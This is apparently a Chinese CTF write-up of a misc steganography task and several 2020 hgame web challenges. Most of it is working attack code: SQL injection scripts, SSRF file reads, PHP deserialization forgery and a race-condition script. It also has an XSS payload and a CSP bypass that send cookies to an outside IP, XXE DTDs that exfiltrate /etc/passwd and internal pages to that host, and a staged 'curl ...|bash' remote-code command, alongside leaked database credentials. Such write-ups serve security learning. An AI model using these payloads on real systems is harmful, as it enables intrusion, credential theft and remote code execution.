某misc

不知道哪里的misc

题目给了一个压缩包

里面有一个加密的视频文件和未加密的图片

image105

想着图片会不会有提示,用hxd打开发现末尾果然有提示

kobe code

image211

得到密码:OAEBEYTKNRBANB,成功拿到视频文件

但是提示文件无法打开,用binwalk啥的弄了一会,发现里面没有藏啥

于是换了个思路,猜测这题是要让我们修复mp4文件?头大

一个MP4文件首先会有且只有一个“ftyp”类型的box,作为MP4格式的标志并包含关于文件的一些信息;之后会有且只有一个“moov”类型的box(Movie Box),它是一种container box,子box包含了媒体的metadata信息;MP4文件的媒体数据包含在“mdat”类型的box(Midia Data Box)中,该类型的box也是container box,可以有很多个,也可以没有(当媒体数据全部引用其他文件时),媒体数据的结构由metadata进行描述。

image622

图中方框即为第一个box的head,原本应该是ftyp(0x66747970)而这里确实66459707,位置反了

恢复脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
with open('NBA.mp4', 'rb') as f:
keydata =f.read()
t= keydata.encode("hex")
l=len(t)
t2=""
for i in range(0,l,2):
a=t[i]
b=t[i+1]
t2+=b
t2+=a

print t2[:100]
t2=t2.decode("hex")
f2 = open('NBA2.mp4', 'wb')
f2.write(t2)

等脚本跑完后成功恢复原来的视频文件

视频隐写通常把内容存储在视频中的某个图片,我们用 ffmpeg ,将视频分离成图片

ffmpeg -i NBA2.mp4 -f image2 image%d.jpg

一张一张看过去,我们发现,在第3028张突然全黑了

image1136

调整一下图片的对比对,跑出一个二维码

image1223

flag{I_l0v3_pl4ying_b4sk3tb4ll}

2020hgame

2020hgame

web

Cosmos 的博客

不过有大茄子告诉我的版本管理工具以及 GitHub,我改起来也挺方便的。

根据提示下载.git

1
2
$ git remote -v
#查看git

查看提交历史拿到flag

街头霸王

考察对http的了解

1
2
3
4
5
6
7
8
9
10
11
12
13
GET / HTTP/1.1
Host: kyaru.hgame.n3ko.co
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Cosmos Brower
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
referer: https://vidar.club/
x-forwarded-for: 127.0.0.1
If-Unmodified-Since: Fri, 02 Jan 2077 00:00:00 GMT
Connection: close


code world

burp拦截

修改GET为post

鸡你太美

拦截ajax请求,修改分数

Cosmos的博客后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>

adminpassword: 0e114902927253523756713132279690

密码使用==来进行md5校验,找个0e开头的密码即可绕过(QNKCDZO)

adminusername: Cosmos!

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
session_start();

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}

$action = @$_GET['action'];
$filter = "/config|etc|flag/i";

if (isset($_GET['action']) && !empty($_GET['action'])) {
if(preg_match($filter, $_GET['action'])) {
echo "Hacker get out!";
exit();
}
include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
header("Location: ?action=login.php");
exit();
}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}

function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);

if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>

<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>

file%3A%2F%2Flocalhost%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag

hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}

Cosmos的留言板-1

单引号闭合

过滤:select

黑名单:空格

1
2
3
4
5
6
7
8
0'/**/union/**/select/**/group_concat(schema_name)/**/FROM/**/information_schema.schemata#
information_schema,easysql
0'/**/union/**/select/**/GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA=database();#
f1aggggggggggggg,messages#
GROUP_CONCAT(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/=/**/'f1aggggggggggggg'
fl4444444g

hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}

Cosmos的新语言

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

// function encrypt($str){
// $result = '';
// for($i = 0; $i < strlen($str); $i++){
// $result .= chr(ord($str[$i]) + 1);
// }
// return $result;
// }
function encrypt($str)
{
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) - 1);
}
return $result;
}
$newcmd='$_POST[\'token\']';
$cmd=substr($_POST['cmd'],0,strlen($_POST['cmd'])-1);
preg_match("/^.*\(/U",$cmd,$arr);
$cmd=substr($cmd,strlen($arr[0]),strlen($cmd)-strlen($arr[0])-1);

while($cmd!=='$_SERVER[\'token\']')
{
$arr=array();
preg_match("/^.*\(/U",$cmd,$arr);
$newcmd=$arr[0].$newcmd.")";
$cmd=substr($cmd,strlen($arr[0]),strlen($cmd)-strlen($arr[0])-1);

}

$cmd=(str_replace("base64_encode","base64_decode",$newcmd));


$dec=eval("echo ".$cmd.";");
?>

python

1
2
3
4
5
6
7
8
9
10
11
12
import requests
def get_flag():
enccmd=requests.get("http://4211e914b2.php.hgame.n3ko.co/mycode").text[159:]
enccmd=enccmd[:len(enccmd)-75]
html=requests.get("http://4211e914b2.php.hgame.n3ko.co/").text[626:]
enc=html[:html.find("<br>")]
data={"token":enc,"cmd":enccmd}
dec=requests.post("http://127.0.0.1/",data=data).text
data={"token":dec}
print(requests.post("http://4211e914b2.php.hgame.n3ko.co/",data=data,proxies={"http":"http://127.0.0.1:8080"}).text[626:])

get_flag()

Cosmos的聊天室

1
<svg/onload="[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\144\157\143\165\155\145\156\164\56\154\157\143\141\164\151\157\156\75\47\150\164\164\160\72\57\57\63\71\56\61\60\70\56\61\66\64\56\62\61\71\72\66\60\60\60\65\57\77\47\53\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145')()" aa=

输入会变成大写

序列之争 - Ordinal Scale

这一题要让$_SESSION['rank']===1时,有flag

而默认的逻辑是没法实现的

1
2
3
if($this->rank <= 2){
$this->rank = 2;
}

阅读代码发现反序列化点:

Monster__construct方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __construct($key){
$this->encryptKey = $key;
if(!isset($_COOKIE['monster'])){
$this->Set();
return;
}

$monsterData = base64_decode($_COOKIE['monster']);
if(strlen($monsterData) > 32){
$sign = substr($monsterData, -32);
$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
if(md5($monsterData . $this->encryptKey) === $sign){
$this->monsterData = unserialize($monsterData);
}else{
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

$this->Set();
}

但是要知道$key才能反序列化

Game__construct方法中看到格式化字符串漏洞泄露$key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

class Game
{
private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

private $sign = '';
public $rank;
//secret:gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL
public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);//set sign
$this->monster = new Monster($this->sign);
$this->rank = new Rank();
}

private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}

可以反序列化后,我们发现Fight__destruct方法可以修改$_SESSION['rank']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function __destruct(){
// 确保程序是跑在服务器上的!
$this->serverKey = $_SERVER['key'];
if($this->key === $this->serverKey){
$_SESSION['rank'] = $this->rank;
}else{
// 非正常访问
session_start();
session_destroy();
setcookie('monster', '');
header('Location: index.php');
exit;
}
}

但是还有$this->key === $this->serverKey阻挠这我们

如果我们能获得或修改$_SERVER['key'],便可以拿到flag了

php反序列化有个特性,反序列化时,若对象没有某个值,便会恢复成该对象对应的类的默认值

如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $my_static = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
public function __destruct()
{
echo $this->my_static;
}

}
class tesa{

}
$a=str_replace("tesa","test",serialize(new tesa()));
unserialize($a);


结果:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

于是构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
class Game
{
private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

public $sign = '';
public $rank;
//secret:gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL
public function __construct($playerName){
$_SESSION['player'] = $playerName;
if(!isset($_SESSION['exp'])){
$_SESSION['exp'] = 0;
}
$data = [$playerName, $this->encryptKey];
$this->init($data);//set sign
}

private function init($data){
foreach($data as $key => $value){
$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
$this->sign .= md5($this->sign . $value);
}
}
}
class Rank
{
private $rank;
// private $serverKey; // 服务器的 Key
// private $key;

public function __construct()
{
$this->rank=1;
}

public function __destruct(){

}
}
$s=new Rank();
//$s=array('name'=>'蔡建斌','no'=>999999999999999999);
$a=new Game($_GET['name']);
$sign = md5(serialize($s) . $a->sign);
print( base64_encode(serialize($s) . $sign));
?>

二发入魂

刚看到这题时是有点懵的,网页的图片是妙蛙种子,是想说交种子上去,但我没看懂/////

前一段时间爆出来的mt_srand逆向刚好可以用到

https://github.com/ambionics/mt_rand-reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import os

burp0_url = "https://twoshot.hgame.n3ko.co:443/random.php?times=230"
burp0_cookies = {"PHPSESSID": "quh0vrim4vv8p4mnro1migluh3"}
burp0_headers = {"Connection": "close", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Referer": "https://twoshot.hgame.n3ko.co/", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"}
result=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text

a=eval(result)
p = os.popen("python reverse_mt_rand.py %d %d 0 0" % (a[0],a[227]) )
x=p.read().strip()

burp0_url = "https://twoshot.hgame.n3ko.co:443/verify.php"
burp0_cookies = {"PHPSESSID": "quh0vrim4vv8p4mnro1migluh3"}
burp0_headers = {"Connection": "close", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "https://twoshot.hgame.n3ko.co", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Referer": "https://twoshot.hgame.n3ko.co/", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"}
burp0_data = {"ans": x}
print(burp0_data)
result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
print(result)

Cosmos的二手市场

解法一

弱密码登陆别人账号,直接抄作业

admin,123456

解法二

条件竞争

在一次偶然的爆破中我发现,商品的数量多了,于是便猜测有条件竞争漏洞

我来模拟以下造成条件竞争漏洞的原因

首先猜测以下solve和buy方法的流程

1
2
3
4
5
6
7
function solve()
{
#1. $num=从数据库中查找要用户持有的卖出商品的个数
#2. 如果数量足够,则进行下一步,否则返回并报错
#3. 在数据库中增加用户账户里的钱
#4. 在数据库中减少用户拥有该商品的数量
}

假设web服务器在相差一个步骤的时间时收到两个请求,此时fork出两个进程a,b,设此时商品数量为1,两个请求要卖出的数量也都为1

  1. a 执行完步骤1($num=1);b刚要开始执行步骤1
  2. a执行完步骤二;b执行完步骤一($num=1)
  3. a执行步骤三,用户账户里的钱增加了;b执行完步骤二,b进程也满足条件
  4. a执行步骤四,此时数据库中商品的数量为0,b执行完步骤三,用户账户里的钱增加了
  5. a进程结束;b进程试图减少数据库中商品的数量,但是数量最小为0,操作失败
  6. b进程结束

于是我们可以看到最终结果是,用户用1单位的商品卖出了两个单位商品的价钱(1个商品被卖了两次)

为啥会这样,这是同时操作一个数据导致的bug,这也是为啥计算机里经常出现锁这个名称的原因,给数据上锁,避免两个进程同时操作一个数据,导致bug

刷钱脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from multiprocessing import Pool
import requests
def buy(num,loop=3):

for i in range(loop):
burp0_url = "http://121.36.88.65:9999/API/?method=buy"
burp0_cookies = {"PHPSESSID": "gd44lbha3t9ltc1cgng5c755ni"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://121.36.88.65:9999", "Referer": "http://121.36.88.65:9999/market.html", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"code": "800001", "amount": num}
result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if "success" in result:
print("successfully buy %d items" % num)


def solve(num,loop=3):

for i in range(loop):
burp0_url = "http://121.36.88.65:9999/API/?method=solve"
burp0_cookies = {"PHPSESSID": "gd44lbha3t9ltc1cgng5c755ni"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Origin": "http://121.36.88.65:9999", "Referer": "http://121.36.88.65:9999/market.html", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"code": "800001", "amount": num}
result=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if "success" in result:
print("successfully solve %d items" % num)

if __name__=='__main__':
i=0
while True:
p = Pool(100)
num=500
for i in range(100):
p.apply_async(buy, args=(num,))
print('Waiting for all buy subprocesses done...')
p.close()
p.join()
print('All subprocesses done.')

p = Pool(100)

for i in range(100):
p.apply_async(solve, args=(num,))
print('Waiting for all solve subprocesses done...')
p.close()
p.join()
print('All subprocesses done.')

留言板

注册登陆的黑名单

1
2
3
allow: ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '_', '\n']
disable: ['!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', ' ', '\t', '\r', '\x0b', '\x0c']

一个个检测输入点发现,delete方法存在sql注入

注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import requests
from bs4 import BeautifulSoup
def send():

burp0_url = "http://139.199.182.61:19999/index.php?method=send"
burp0_cookies = {"PHPSESSID": "ab5fgepp50bnaenppkju4md4qs"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://139.199.182.61:19999", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://139.199.182.61:19999/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"message": "aaa"}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if res.status_code==200:
return 1
else :
return 0

def get_id():


burp0_url = "http://139.199.182.61:19999/index.php?message=aaa"
burp0_cookies = {"PHPSESSID": "ab5fgepp50bnaenppkju4md4qs"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://139.199.182.61:19999", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://139.199.182.61:19999/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
res=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
html = res.text
try :
soup = BeautifulSoup(html,'html.parser') #把网页解析为BeautifulSoup对象
url=soup.find("span",class_="message").find("a")['href']
except:
return False
return url.replace("index.php?method=delete&delete_id=","")


def check(mesid):
burp0_url = "http://139.199.182.61:19999/index.php?message=aaa"
burp0_cookies = {"PHPSESSID": "ab5fgepp50bnaenppkju4md4qs"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://139.199.182.61:19999", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://139.199.182.61:19999/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
res=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
url="index.php?method=delete&delete_id="+str(mesid)
if url in res.text:
return True
return False
#index.php?method=delete&delete_id=6594

def delete(mesid):
burp0_url = "http://139.199.182.61:19999/index.php"
burp0_cookies = {"PHPSESSID": "ab5fgepp50bnaenppkju4md4qs"}
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://139.199.182.61:19999/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
requests.get(burp0_url, params={"method":"delete","delete_id":mesid},headers=burp0_headers, cookies=burp0_cookies)


def sql_inj(sql):
mesid=get_id()
delete(str(mesid)+" and ("+sql+") #")
if not check(mesid):
print("%s success" % sql)
send()
return True
print("%s fail" % sql)
return False

# sql_inj("(select substr(hex('1'),1,1))='3'")
cha="0123456789ABCDEF"
result=""
p=0
while True:
p+=1
temp=''
for i in cha:
if sql_inj("(select substr(hex(group_concat(name,',',password)),%d,1) FROM user where id=1)='%s'" % (p,i) ):
result+=i
temp=i
print(result)
break
if temp!=result[-1]:
break

#information_schema,babysql
#messages,user
#id,name,password

Cosmos的聊天室2.0

操操操,这题对我有毒,我这里不显示csp,导致我卡了很久

存在csp:

1
Content-Security-Policy: default-src 'self'; script-src 'self'

先检测一下

https://csp-evaluator.withgoogle.com/

image19320

说object-src不安全

这个策略已经ban掉了内联脚本,所以我们直接传一个js代码过去没用

我们对send方法进行检测发现,会过滤script,但是用双写就可以绕过,还会把大写转成小写

用burp代理,查看发送的请求,我们可以会注意到/send会直接返回我们发送的内容,利用这个恰好可以绕过script-src 'self' ,

我们发送以下payload(用script标签也一样)

1
<iframe src="send?message=%3c%73%76%67%20%6f%6e%6c%6f%61%64%3d%22%61%6c%65%72%74%28%29%22%3e"></iframe>

成功弹窗,但是我们还有default-src 'self'阻碍着我们带回数据

因为没有设置object-src我们可以用embed 标签带回数据

最后的payload

1
2
3
4
<iframe src="send?message=<body><scscrscriptiptript>
var+iframe+%3d+eval(%22document.create\105lement('embed')%22)%3b
iframe.src%3d%22http%3a//39.108.164.219%3a60005/%3f%22%2bdocument.cookie%3b
eval(%22document.body.append\103hild(iframe)%22)%3b</scrscrscriptiptipt></body>"></iframe>

hgame{1ts_@_$impL3_CSP_bYp4ss1ng_Ch@!!enge.}

代打出题人服务中心

一看就知道有xxe漏洞

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://39.108.164.219:60005/evil.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://39.108.164.219/evil.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">

submit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include "config.php";
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$stmt = $conn->prepare("INSERT INTO info (id, chal_name, bd_level, bd_time) VALUES (:id, :chal_name, :bd_level, :bd_time)");
$stmt->bindParam(':id', $id);
$stmt->bindParam(':chal_name', $chal_name);
$stmt->bindParam(':bd_level', $level);
$stmt->bindParam(':bd_time', $level);

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$id = $creds->id;
$chal_name = $creds->name;
$level = $creds->level;
$time = $creds->time;
if ($id == "" || $level == "" || $chal_name == ""|| $time == "") {
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,"请填写信息!");
die($result);
}
$stmt->execute();
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,"已提交成功,正在为您安排打手");
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,"提交失败!");
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dbms='mysql';
$host='localhost';
$dbName='bdctr_message';
$user='root';
$pass='yevi1gcqpqHSaOZVDI1CcRLaHHSJ5BYgImof';

$dsn="$dbms:host=$host;dbname=$dbName";
$conn = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

?>

原本想着用gopher执行sql语句,但是有密码无法执行

我我我我是个dsb,明明知道可能是内网有可能由其他主机,但就是不试一下

1
2
3
4
5
6
7
8
9
10
11
12
IP address       HW type     Flags       HW address            Mask     Device
172.21.0.5 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.1 0x1 0x2 02:42:f7:6e:6f:34 * eth0
172.21.0.6 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.2 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.32 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.75 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.7 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.76 0x1 0x2 02:42:ac:15:00:4c * eth0
172.21.0.30 0x1 0x0 00:00:00:00:00:00 * eth0
172.21.0.77 0x1 0x0 00:00:00:00:00:00 * eth0

1
2
3
4
5
6
7
8
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.21.0.76 hgame-private
172.21.0.31 f9f1b9b99e13

发现一个内网服务器172.21.0.76

当尝试访问80端口时,发现文件太大等一系列问题

使用libxml读取文件时,文件不能太大否则会报错

于是尝试压缩能不能读取

1
2
3
4
5
6
7
<?php
error_reporting(0);
file_put_contents("tmp",base64_decode(str_replace(' ','+',$_GET['a'])));
$a=file_get_contents("php://filter/read=zlib.inflate/resource=tmp");
file_put_contents("mes/".date("h_m_s").".txt",$a);
?>

1
2
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://172.21.0.76">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://39.108.164.219:60005/?a=%data;'>">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);

$token = @$_GET['token'];
if (!isset($token)) {
die("请带上您的队伍token访问! /?token=");
}
$api = "http://checker/?token=".$token;
$t = file_get_contents($api);
if($t !== "ok") {
die("队伍token错误");
}

highlight_file(__FILE__);

$sandbox = '/var/www/html/sandbox/'. md5("hgame2020" . $token);;
@mkdir($sandbox);
@chdir($sandbox);

$content = $_GET['v'];
if (isset($content)) {
$cmd = substr($content,0,5);
system($cmd);
}else if (isset($_GET['r'])) {
system('rm -rf ./*');
}

/* _____ _ _ ______ _ _ _____ ______ _______ _____ _______ _
/ ____| | | | ____| | | | / ____| ____|__ __| |_ _|__ __| | |
| (___ | |__| | |__ | | | | | | __| |__ | | | | | | | |
\___ \| __ | __| | | | | | | |_ | __| | | | | | | | |
____) | | | | |____| |____| |____ | |__| | |____ | | _| |_ | | |_|
|_____/|_| |_|______|______|______( )_____|______| |_| |_____| |_| (_)
|/

*/

然后利用 https://err0rzz.github.io/2017/11/13/ctf%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E4%B8%8E%E7%BB%95%E8%BF%87/

的方法来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<?php
$a=file_get_contents("tmp.xml");
$command=array(
'>ls\\\\',
'ls>_',
'>\\ \\\\',
'>-t\\\\',
'>\\>g',
'ls>>_',

">bash",
">\\|\\\\",
">5\\\\",
">00\\\\",
">60\\\\",
">9:\\\\",
">21\\\\",
">4.\\\\",
">16\\\\",
">8.\\\\",
">10\\\\",
">9.\\\\",
">3\\\\",
">\\ \\\\",
">rl\\\\",
">cu\\\\"
);
foreach($command as $v)
{
echo $v."\n";
$v=urlencode($v);
file_put_contents("evil.xml",str_replace("TGT",$v,$a));
$postdata=<<<MRK
<?xml version="1.0" ?>
<!DOCTYPE msg [
<!ELEMENT msg ANY >
<!ENTITY % sp SYSTEM "http://39.108.164.219:60005/evil.xml">
%sp;
%param1;
]>
<msg><id>&exfil;</id><name>b</name><level>c</level><time>d</time></msg>
MRK;
$opts = array('http' =>
array( 'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => $postdata )
);
$context = stream_context_create($opts);
